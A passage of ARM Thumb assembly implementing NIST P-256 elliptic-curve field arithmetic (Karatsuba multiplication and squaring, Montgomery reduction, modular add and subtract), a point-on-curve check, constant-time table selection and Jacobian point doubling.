r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif pop {r4,r5} frame address sp,8+use_noninlined_mul644 mov r6,r12 mov r7,r12 eors r0,r6 eors r1,r6 eors r2,r6 eors r3,r6 asrs r6,r6,#1 adcs r0,r4 adcs r1,r5 adcs r4,r2 adcs r5,r3 eors r2,r2 adcs r6,r2 ;//0,1 adcs r7,r2 pop {r2,r3} frame address sp,0+use_noninlined_mul644 mov r8,r2 mov r9,r3 adds r2,r0 adcs r3,r1 mov r0,r10 mov r1,r11 adcs r4,r0 adcs r5,r1 adcs r6,r0 adcs r7,r1 if use_noninlined_mul64 == 1 pop {pc} else bx lr endif endp if use_mul_for_sqr == 1 ;thumb_func P256_sqrmod ;label definition mov r2,r1 ; fallthrough endif ; r0 = out, r1 = a, r2 = b P256_mulmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 push {r1-r2} frame address sp,80 mov r10,r2 mov r11,r1 mov r0,r2 ldm r0!,{r4,r5} adds r0,#8 ldm r1!,{r2,r3} adds r1,#8 push {r0,r1} frame address sp,88 bl P256_mul128 add r0,sp,#24 stm r0!,{r2,r3} add r0,sp,#16 mov r2,r8 mov r3,r9 stm r0!,{r2,r3} ;pop {r0} ;result+8 ;stm r0!,{r2,r3} pop {r1,r2} ;a+16 b+16 frame address sp,80 ;push {r0} push {r4-r7} frame address sp,96 mov r10,r1 mov r11,r2 ldm r1!,{r4,r5} ldm r2,{r2,r3} bl P256_mul128 mov r0,r8 mov r1,r9 mov r8,r6 mov r9,r7 pop {r6,r7} frame address sp,88 adds r0,r6 adcs r1,r7 pop {r6,r7} frame address sp,80 adcs r2,r6 adcs r3,r7 ;pop {r7} ;result+16 add r7,sp,#24 stm r7!,{r0-r3} mov r10,r7 eors r0,r0 mov r6,r8 mov r7,r9 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 pop {r1,r2} ;b a frame address sp,72 mov r12,r2 push {r4-r7} frame address sp,88 ldm r1,{r0-r7} subs r0,r4 sbcs r1,r5 sbcs r2,r6 sbcs r3,r7 eors r4,r4 sbcs r4,r4 eors r0,r4 eors r1,r4 eors r2,r4 eors r3,r4 subs r0,r4 sbcs r1,r4 sbcs r2,r4 sbcs r3,r4 mov r6,r12 mov r12,r4 ;//carry mov r5,r10 stm r5!,{r0-r3} mov r11,r5 mov r8,r0 mov r9,r1 ldm r6,{r0-r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 eors r0,r0 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 mov r1,r12 eors r0,r1 mov r1,r11 stm r1!,{r4-r7} push {r0} frame address sp,92 mov r2,r8 mov r3,r9 bl P256_mul128 pop {r0} ;//r0,r1 frame address sp,88 mov r12,r0 ;//negative eors r2,r0 eors r3,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 push {r4-r7} frame address sp,104 add r1,sp,#32 ;result ldm r1!,{r4-r7} ;mov r11,r1 ;//reference mov r1,r9 eors r1,r0 mov r10,r4 mov r4,r8 asrs r0,#1 eors r0,r4 mov r4,r10 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 eors r4,r4 adcs r4,r4 mov r10,r4 ;//carry ;mov r4,r11 add r4,sp,#32+16 ldm r4,{r4-r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r9,r4 ;mov r4,r11 add r4,sp,#32+16 stm r4!,{r0-r3} ;mov r11,r4 pop {r0-r3} frame address sp,88 mov r4,r9 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 movs r1,#0 adcs r1,r1 mov r0,r10 mov r10,r1 ;//carry asrs r0,#1 pop {r0-r3} frame address sp,72 adcs r4,r0 adcs r5,r1 adcs r6,r2 adcs r7,r3 mov r8,r0 ;mov r0,r11 add r0,sp,#32 stm r0!,{r4-r7} ;mov r11,r0 mov r0,r8 mov r6,r12 mov r5,r10 eors r4,r4 adcs r5,r6 adcs r6,r4 adds r0,r5 adcs r1,r6 adcs r2,r6 adcs r3,r6 ;mov r7,r11 add r7,sp,#32+16 stm r7!,{r0-r3} ; multiplication done, now reducing reduce ;label definition pop {r0-r7} frame address sp,40 adds r3,r0 adcs r4,r1 adcs r5,r2 adcs r6,r0 mov r8,r2 mov r9,r3 mov r10,r4 mov r11,r5 mov r12,r6 adcs r7,r1 pop {r2-r5} ;8,9,10,11 frame address sp,24 adcs r2,r0 ;8+0 adcs r3,r1 ;9+1 movs r6,#0 adcs r4,r6 ;10+#0 adcs r5,r6 ;11+#0 adcs r6,r6 ;C subs r7,r0 ;7-0 sbcs r2,r1 ;8-1 ; r0,r1 dead mov r0,r8 ;2 mov r1,r9 ;3 sbcs r3,r0 ;9-2 sbcs r4,r1 ;10-3 movs r0,#0 sbcs r5,r0 ;11-#0 sbcs r6,r0 ;C-#0 mov r0,r12 ;6 adds r0,r1 ;6+3 mov r12,r0 mov r0,r10 ;4 adcs r7,r0 ;7+4 mov lr,r7 mov r0,r8 ;2 adcs r2,r0 ;8+2 adcs r3,r1 ;9+3 adcs r4,r0 ;10+2 adcs r5,r1 ;11+3 movs r7,#0 adcs r6,r7 ;C+#0 ;2-3 are now dead (r8,r9) ;4 5 6 7 8 9 10 11 C ;r10 r11 r12 lr r2 r3 r4 r5 r6 ;r7: 0 pop {r0,r1} ;12,13 frame address sp,16 adds r6,r0 ;12+C adcs r1,r7 ;13+#0 adcs r7,r7 ;new Carry for 14 ;r0 dead mov r0,r11 ;5 adds r2,r0 ;8+5 mov r8,r2 mov r2,r12 ;6 adcs r3,r2 ;9+6 mov r9,r3 mov r3,r10 ;4 adcs r4,r3 ;10+4 mov r10,r4 adcs r5,r0 ;11+5 adcs r6,r3 ;12+4 adcs r1,r0 ;13+5 pop {r2,r4} ;14,15 frame address sp,8 adcs r2,r7 ;14+C movs r7,#0 adcs r4,r7 ;15+#0 adcs r7,r7 ;new Carry for 16 ;4 5 6 7 8 9 10 11 12 13 14 15 C ;r3 r0 r12 lr r8 r9 r10 r5 r6 r1 r2 r4 r7 ;r11 is available subs r5,r3 ;11-4 sbcs r6,r0 ;12-5 mov r3,r12 ;6 mov r0,lr ;7 sbcs r1,r3 ;13-6 sbcs r2,r0 ;14-7 movs r3,#0 sbcs r4,r3 ;15-#0 sbcs r7,r3 ;C-#0 mov lr,r4 mov r11,r7 mov r4,r10 ;10 adds r4,r0 ;10+7 adcs r5,r3 ;11+#0 mov r7,r12 ;6 adcs r6,r7 ;12+6 adcs r1,r0 ;13+7 adcs r2,r7 ;14+6 mov r7,lr ;15 adcs r7,r0 ;15+7 mov r0,r11 ;C adcs r0,r3 ;C+#0 ; now (T + mN) / R is ; 8 9 4 5 6 1 2 7 6 (lsb -> msb) subs r3,r3 ;set r3 to 0 and C to 1 mov r10,r0 mov r0,r8 adcs r0,r3 mov r11,r7 mov r7,r9 adcs r7,r3 mov r12,r0 mov r9,r7 adcs r4,r3 sbcs r5,r3 sbcs r6,r3 sbcs r1,r3 movs r3,#1 sbcs r2,r3 movs r3,#0 mov r0,r11 mov r7,r10 adcs r0,r3 sbcs r7,r3 ; r12 r9 r4 r5 \| r6 r1 r2 r0 mov r8,r2 mov r2,r12 mov r11,r0 mov r3,r9 reduce2 ;label definition adds r2,r7 adcs r3,r7 adcs r4,r7 movs r0,#0 adcs r5,r0 adcs r6,r0 adcs r1,r0 pop {r0} frame address sp,4 stm r0!,{r2-r6} movs r5,#1 ands r5,r7 mov r2,r8 mov r3,r11 adcs r2,r5 adcs r3,r7 stm r0!,{r1-r3} pop {pc} endp if use_mul_for_sqr == 0 if use_noninlined_sqr64 == 1 P256_sqr64 proc ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. bx lr endp P256_sqr128 proc push {lr} frame push {lr} ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 bl P256_sqr64 mov r4,r10 mov r5,r7 mov r10,r0 mov r11,r1 mov r12,r2 mov r7,r3 bl P256_sqr64 mov r4,r12 adds r0,r4 adcs r1,r7 adcs r2,r6 adcs r3,r6 mov r7,r3 mov r12,r0 mov r4,r8 mov r8,r1 mov r5,r9 mov r9,r2 bl P256_sqr64 mov r4,r12 mov r5,r8 mov r6,r9 subs r4,r0 sbcs r5,r1 mov r0,r6 mov r1,r7 sbcs r0,r2 sbcs r1,r3 movs r2,#0 sbcs r6,r2 sbcs r7,r2 mov r2,r10 adds r2,r4 mov r3,r11 adcs r3,r5 mov r4,r12 adcs r4,r0 mov r5,r8 adcs r5,r1 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 mov r1,r11 ; END: sqr 128 Refined Karatsuba pop {pc} endp else P256_sqr128 proc ; sqr 128 Refined Karatsuba ; Input in r4 ... r7 ; Result in r0 ... r7 ; clobbers all registers mov r0,r4 mov r1,r5 subs r0,r6 sbcs r1,r7 sbcs r2,r2 eors r0,r2 eors r1,r2 subs r0,r2 sbcs r1,r2 mov r8,r0 mov r9,r1 mov r10,r6 ; START: sqr 64 Refined Karatsuba ; Input operands in r4,r5 ; Result in r0,r1,r2,r3 ; Clobbers: r4-r6 ; START: sqr 32 ; Input operand in r4 ; Result in r0 ,r1 ; Clobbers: r2, r3 uxth r0,r4 lsrs r1,r4,#16 mov r2,r0 muls r2,r1,r2 muls r0,r0,r0 muls r1,r1,r1 lsrs r3,r2,#15 lsls r2,r2,#17 adds r0,r2 adcs r1,r3 ; End: sqr 32 ; Result in r0 ,r1 subs r4,r5 sbcs r6,r6 eors r4,r6 subs r4,r6 ; START: sqr 32 ; Input operand in r5 ; Result in r2 ,r3 ; Clobbers: r5, r6 uxth r2,r5 lsrs r3,r5,#16 mov r5,r2 muls r5,r3,r5 muls r2,r2,r2 muls r3,r3,r3 lsrs r6,r5,#15 lsls r5,r5,#17 adds r2,r5 adcs r3,r6 ; End: sqr 32 ; Result in r2 ,r3 movs r6,#0 adds r2,r1 adcs r3,r6 ; START: sqr 32 ; Input operand in r4 ; Result in r4 ,r5 ; Clobbers: r1, r6 lsrs r5,r4,#16 uxth r4,r4 mov r1,r4 muls r1,r5,r1 muls r4,r4,r4 muls r5,r5,r5 lsrs r6,r1,#15 lsls r1,r1,#17 adds r4,r1 adcs r5,r6 ; End: sqr 32 ; Result in r4 ,r5 mov r1,r2 subs r1,r4 sbcs r2,r5 mov r5,r3 movs r6,#0 sbcs r3,r6 adds r1,r0 adcs r2,r5 adcs r3,r6 ; END: sqr 64 Refined Karatsuba ; Result in r0,r1,r2,r3 ; Leaves r6 zero. mov r6,r10 mov r10,r0 mov r11,r1 mov r12,r2 mov r1,r3 ; START: sqr 64 Refined Karatsuba ; Input operands in r6,r7 ; Result in r2,r3,r4,r5 ; Clobbers: r0,r7,r6 ; START: sqr 32 ; Input operand in r6 ; Result in r2 ,r3 ; Clobbers: r4, r5 uxth r2,r6 lsrs r3,r6,#16 mov r4,r2 muls r4,r3,r4 muls r2,r2,r2 muls r3,r3,r3 lsrs r5,r4,#15 lsls r4,r4,#17 adds r2,r4 adcs r3,r5 ; End: sqr 32 ; Result in r2 ,r3 subs r6,r7 sbcs r4,r4 eors r6,r4 subs r6,r4 ; START: sqr 32 ; Input operand in r7 ; Result in r4 ,r5 ; Clobbers: r0, r7 uxth r4,r7 lsrs r5,r7,#16 mov r0,r4 muls r0,r5,r0 muls r4,r4,r4 muls r5,r5,r5 lsrs r7,r0,#15 lsls r0,r0,#17 adds r4,r0 adcs r5,r7 ; End: sqr 32 ; Result in r4 ,r5 movs r7,#0 adds r4,r3 adcs r5,r7 ; START: sqr 32 ; Input operand in r6 ; Result in r7 ,r0 ; Clobbers: r6, r3 uxth r7,r6 lsrs r0,r6,#16 mov r6,r7 muls r6,r0,r6 muls r7,r7,r7 muls r0,r0,r0 lsrs r3,r6,#15 lsls r6,r6,#17 adds r7,r6 adcs r0,r3 ; End: sqr 32 ; Result in r7 ,r0 mov r3,r4 subs r3,r7 sbcs r4,r0 mov r0,r5 movs r6,#0 sbcs r5,r6 adds r3,r2 adcs r4,r0 adcs r5,r6 ; END: sqr 64 Refined Karatsuba ; Result in r2,r3,r4,r5 ; Leaves r6 zero. mov r0,r12 adds r2,r0 adcs r3,r1 adcs r4,r6 adcs r5,r6 mov r12,r2 mov r2,r8 mov r8,r3 mov r3,r9 mov r9,r4 ; START: sqr 64 Refined Karatsuba ; Input operands in r2,r3 ; Result in r6,r7,r0,r1 ; Clobbers: r2,r3,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r6 ,r7 ; Clobbers: r0, r1 uxth r6,r2 lsrs r7,r2,#16 mov r0,r6 muls r0,r7,r0 muls r6,r6,r6 muls r7,r7,r7 lsrs r1,r0,#15 lsls r0,r0,#17 adds r6,r0 adcs r7,r1 ; End: sqr 32 ; Result in r6 ,r7 subs r2,r3 sbcs r4,r4 eors r2,r4 subs r2,r4 ; START: sqr 32 ; Input operand in r3 ; Result in r0 ,r1 ; Clobbers: r3, r4 uxth r0,r3 lsrs r1,r3,#16 mov r3,r0 muls r3,r1,r3 muls r0,r0,r0 muls r1,r1,r1 lsrs r4,r3,#15 lsls r3,r3,#17 adds r0,r3 adcs r1,r4 ; End: sqr 32 ; Result in r0 ,r1 movs r4,#0 adds r0,r7 adcs r1,r4 ; START: sqr 32 ; Input operand in r2 ; Result in r3 ,r4 ; Clobbers: r2, r7 uxth r3,r2 lsrs r4,r2,#16 mov r2,r3 muls r2,r4,r2 muls r3,r3,r3 muls r4,r4,r4 lsrs r7,r2,#15 lsls r2,r2,#17 adds r3,r2 adcs r4,r7 ; End: sqr 32 ; Result in r3 ,r4 mov r7,r0 subs r7,r3 sbcs r0,r4 mov r2,r1 movs r4,#0 sbcs r1,r4 adds r7,r6 adcs r0,r2 adcs r1,r4 ; END: sqr 64 Refined Karatsuba ; Result in r6,r7,r0,r1 ; Returns r4 as zero. mov r2,r12 mov r3,r8 mov r4,r9 subs r2,r6 sbcs r3,r7 mov r6,r4 mov r7,r5 sbcs r4,r0 sbcs r5,r1 movs r0,#0 sbcs r6,r0 sbcs r7,r0 mov r0,r10 adds r2,r0 mov r1,r11 adcs r3,r1 mov r0,r12 adcs r4,r0 mov r0,r8 adcs r5,r0 movs r0,#0 adcs r6,r0 adcs r7,r0 mov r0,r10 ; END: sqr 128 Refined Karatsuba ; Result in r0 ... r7 bx lr endp endif ; ###################### ; ASM Square 256 refined karatsuba: ; ###################### ; sqr 256 Refined Karatsuba ; pInput in r1 ; pResult in r0 P256_sqrmod proc push {r0,lr} frame push {lr} frame address sp,8 sub sp,#64 frame address sp,72 ;mov lr,sp push {r1} frame address sp,76 ldm r1!,{r4,r5,r6,r7} bl P256_sqr128 push {r4,r5,r6,r7} frame address sp,92 ;mov r4,lr add r4,sp,#20 stm r4!,{r0,r1,r2,r3} ldr r4,[sp,#16] adds r4,#16 ldm r4,{r4,r5,r6,r7} bl P256_sqr128 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4,r5,r6,r7} frame address sp,76 adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 mov r8,r0 movs r0,#0 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 mov r0,r8 push {r0,r1,r2,r3,r4,r5,r6,r7} frame address sp,108 ldr r4,[sp,#32] ldm r4,{r0,r1,r2,r3,r4,r5,r6,r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 bl P256_sqr128 mvns r0,r0 mvns r1,r1 mvns r2,r2 mvns r3,r3 mvns r4,r4 mvns r5,r5 mvns r6,r6 mvns r7,r7 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 subs r4,r4 pop {r4,r5,r6,r7} frame address sp,92 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r12,r4 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} mov r4,r12 mov r0,r8 adcs r0,r4 mov r8,r0 mov r1,r9 adcs r1,r5 mov r9,r1 mov r2,r10 adcs r2,r6 mov r10,r2 mov r3,r11 adcs r3,r7 mov r11,r3 movs r0,#0 adcs r0,r0 mov r12,r0 ;mov r0,lr add r0,sp,#20 ldm r0,{r0,r1,r2,r3,r4,r5,r6,r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} ;mov lr,r4 mov r0,r13 ldm r0!,{r4,r5,r6,r7} mov r1,r8 adcs r4,r1 mov r1,r9 adcs r5,r1 mov r1,r10 adcs r6,r1 mov r1,r11 adcs r7,r1 ;mov r0,lr add r0,sp,#20+32 stm r0!,{r4,r5,r6,r7} pop {r4,r5,r6,r7} frame address sp,76 mov r1,r12 movs r2,#0 mvns r2,r2 adcs r1,r2 asrs r2,r1,#4 adds r4,r1 adcs r5,r2 adcs r6,r2 adcs r7,r2 stm r0!,{r4,r5,r6,r7} add sp,#4 frame address sp,72 b reduce endp endif ; r0 = output, r1 = a, r2 = b P256_addmod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} adds r0,r5 adcs r3,r6 adcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} adcs r5,r3 adcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} adcs r1,r0 adcs r3,r2 adcs r4,r7 movs r7,#0 adcs r7,r7 subs r0,r0 ;set r0 to 0 and C to 1 mov r2,r8 mov r8,r7 mov r7,r9 mov r9,r4 mov r4,r10 adcs r2,r0 mov r10,r2 adcs r7,r0 mov r11,r7 adcs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r1,r0 movs r0,#1 sbcs r3,r0 movs r0,#0 mov r2,r9 adcs r2,r0 mov r7,r8 sbcs r7,r0 ; r10 r11 r4 r5 \| r6 r1 r3 r2 \| r7 mov r8,r3 mov r3,r11 mov r11,r2 mov r2,r10 ; r2 r3 r4 r5 \| r6 r1 r8 r11 \| r7 b reduce2 endp ; r0 = output, r1 = a, r2 = b P256_submod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} subs r0,r5 sbcs r3,r6 sbcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} sbcs r5,r3 sbcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} sbcs r1,r0 sbcs r3,r2 sbcs r4,r7 sbcs r7,r7 mov r2,r8 mov r8,r3 mov r11,r4 mov r3,r9 mov r4,r10 b reduce2 endp ; in: r0 = output (8 words) ; out: r0 is preserved P256_load_1 proc movs r1,#1 stm r0!,{r1} movs r1,#0 movs r2,#0 stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1} subs r0,#32 bx lr endp ; in: r1 ; out: r0 P256_to_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} adr r2,P256_R2_mod_p bl P256_mulmod pop {r4-r7,pc} endp align 4 ; (2^256)^2 mod p P256_R2_mod_p dcd 3 dcd 0 dcd 0xffffffff dcd 0xfffffffb dcd 0xfffffffe dcd 0xffffffff dcd 0xfffffffd dcd 4 ; in: r1 ; out: r0 P256_from_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} movs r2,#0 movs r3,#0 push {r2-r3} frame address sp,28 push {r2-r3} frame address sp,36 push {r2-r3} frame address sp,44 movs r2,#1 push {r2-r3} frame address sp,52 mov r2,sp bl P256_mulmod add sp,#32 frame address sp,20 pop {r4-r7,pc} endp ; Elliptic curve operations on the NIST curve P256 ; Checks if a point is on curve ; in: r0 = x,y(,scratch) in Montgomery form ; out: r0 = 1 if on curve, otherwise 0 P256_point_is_on_curve proc if use_interpreter == 1 push {r0,lr} frame push {lr} frame address sp,8 adr r2,P256_point_is_on_curve_program bl P256_interpreter ldr r0,[sp] adds r0,#64 adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f0 adr r0,P256_b_mont ldr r1,[sp] adds r1,#64 bl P256_greater_or_equal_than 0 pop {r1,pc} else push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 ; We verify y^2 - (x^3 - 3x) = b ; y^2 mov r1,r0 adds r1,#32 sub sp,#32 frame address sp,56 mov r0,sp bl P256_sqrmod ; x^2 ldr r1,[sp,#32] sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod ; x^3 mov r0,sp ldr r1,[sp,#64] mov r2,sp bl P256_mulmod ; x^3 - 3x movs r0,#3 0 push {r0} frame address sp,92 add r0,sp,#4 add r1,sp,#4 ldr r2,[sp,#68] bl P256_submod pop {r0} frame address sp,88 subs r0,#1 bne %b0 ; y^2 - (x^3 - 3x) mov r0,sp add r1,sp,#32 mov r2,sp bl P256_submod ; compare with b mov r0,sp adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f1 adr r0,P256_b_mont mov r1,sp bl P256_greater_or_equal_than 1 add sp,#68 frame address sp,20 pop {r4-r7,pc} endif endp align 4 P256_b_mont dcd 0x29c4bddf dcd 0xd89cdf62 dcd 0x78843090 dcd 0xacf005cd dcd 0xf7212ed6 dcd 0xe5a220ab dcd 0x04874834 dcd 0xdc30061d if use_interpreter == 1 P256_point_is_on_curve_program dcw 0x2040 dcw 0x2130 dcw 0x1113 dcw 0x4113 dcw 0x4113 dcw 0x4113 dcw 0x4501 dcw 0x0000 endif ; input: r0 = value, r1 = limit ; output: 1 if value >= limit, otherwise 0 P256_greater_or_equal_than proc push {r4-r6,lr} frame push {r4-r6,lr} subs r5,r5 ; set r5 to 0 and C to 1 mvns r6,r5 ; set r6 to -1 movs r2,#8 0 ldm r0!,{r3} ldm r1!,{r4} sbcs r3,r4 add r2,r2,r6 tst r2,r2 bne %b0 adcs r5,r5 mov r0,r5 pop {r4-r6,pc} endp ; in: r0 = output location, r1 = input, r2 = 0/1, r3 = m ; if r2 = 0, then r0 is set to r1 ; if r2 = 1, then r0 is set to m - r1 ; note that r1 should be in the range [1,m-1] ; out: r0 and r1 will have advanced 32 bytes, r2 will remain as the input P256_negate_mod_m_if proc push {r4-r7,lr} frame push {r4-r7,lr} movs r4,#1 rsbs r5,r4,#0 ; r5=-1 mov r8,r5 subs r4,r4,r2 ; r4=!r2, C=1 movs r6,#8 0 ldm r1!,{r5} ldm r3!,{r7} sbcs r7,r5 muls r7,r2,r7 muls r5,r4,r5 add r7,r7,r5 stm r0!,{r7} add r6,r6,r8 tst r6,r6 bne %b0 pop {r4-r7,pc} endp ; copies 8 words ; in: r0 = result, r1 = input ; out: r0 = end of result, r1 = end of input P256_copy32 proc push {r4-r5,lr} frame push {r4-r5,lr} ldm r1!,{r2-r5} stm r0!,{r2-r5} ldm r1!,{r2-r5} stm r0!,{r2-r5} pop {r4-r5,pc} endp ; copies 32 bytes ; in: r0 = result, r1 = input ; out: r0 = end of result, r1 = end of input P256_copy32_unaligned proc movs r2,#32 add r2,r0 0 ldrb r3,[r1] strb r3,[r0] adds r1,#1 adds r0,#1 cmp r0,r2 bne %b0 bx lr endp ; Selects one of many values ; r0 = output, r1 = table, r2 = index to choose [0..7] P256_select proc push {r2,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 movs r6,#4 0 push {r0,r6} frame address sp,32 movs r7,#0 mov r8,r7 mov r9,r7 mov r10,r7 mov r11,r7 mov r12,r7 mov lr,r7 1 ldr r0,[sp,#8] eors r0,r7 mrs r0,apsr lsrs r0,#30 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r8,r2 add r9,r3 add r10,r4 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r11,r2 add r12,r3 add lr,r4 adds r1,#72 adds r7,#1 cmp r7,#8 bne %b1 pop {r0,r6} frame address sp,24 mov r2,r8 mov r3,r9 mov r4,r10 stm r0!,{r2-r4} mov r2,r11 mov r3,r12 mov r4,lr stm r0!,{r2-r4} subs r1,#248 subs r1,#248 subs r1,#248 subs r6,#1 bne %b0 pop {r0,r4-r7,pc} endp ; Doubles the point in Jacobian form (integers are in Montgomery form) ; r0 = out, r1 = in P256_double_j proc if use_interpreter == 1 adr r2,P256_double_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; https://eprint.iacr.org/2014/130.pdf, algorithm 10 ; t1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; Z2 = Y1 Z1 ldr r0,[sp,#32] ldr r1,[sp,#36] adds r0,#64 adds r1,#32 movs r2,#32 adds r2,r1 bl P256_mulmod ; t2 = X1 + t1 ldr r1,[sp,#36] mov r2,sp sub sp,#32 frame address sp,92 mov r0,sp bl P256_addmod ; t1 = X1 - t1 ldr r1,[sp,#68] add r2,sp,#32 mov r0,r2 bl P256_submod ; t1 = t1 * t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; t2 = t1 / 2 add sp,#32 frame address sp,60 mov r7,sp ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r8,r3 pop {r0-r3} frame address sp,60 push {r4-r7} frame address sp,76 mov r7,r8 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 push {r4-r7} frame address sp,92 ; t1 = t1 + t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_addmod ; t2 = t1^2 mov r0,sp add r1,sp,#32 bl P256_sqrmod ; Y2 = Y1^2 ldr r0,[sp,#64] ldr r1,[sp,#68] adds r0,#32 adds r1,#32 bl P256_sqrmod ; t3 = Y2^2 ldr r1,[sp,#64] adds r1,#32 sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Y2 = X1 * Y2 ldr r0,[sp,#96] ldr r1,[sp,#100] adds r0,#32 mov r2,r0 bl P256_mulmod ; X2 = 2 * Y2 ldr r0,[sp,#96] mov r1,r0 adds r1,#32 mov r2,r1 bl P256_addmod ; X2 = t2 - X2 ldr r0,[sp,#96] add r1,sp,#32 mov r2,r0 bl P256_submod ; t2 = Y2 - X2 ldr r2,[sp,#96] mov r1,r2 adds r1,#32 add r0,sp,#32 bl P256_submod ; t1 = t1 * t2 add r0,sp,#64 add r1,sp,#64 add r2,sp,#32 bl P256_mulmod ; Y2 = t1 - t3 ldr r0,[sp,#96] adds r0,#32 add r1,sp,#64 mov r2,sp bl P256_submod add sp,#104 frame address sp,20 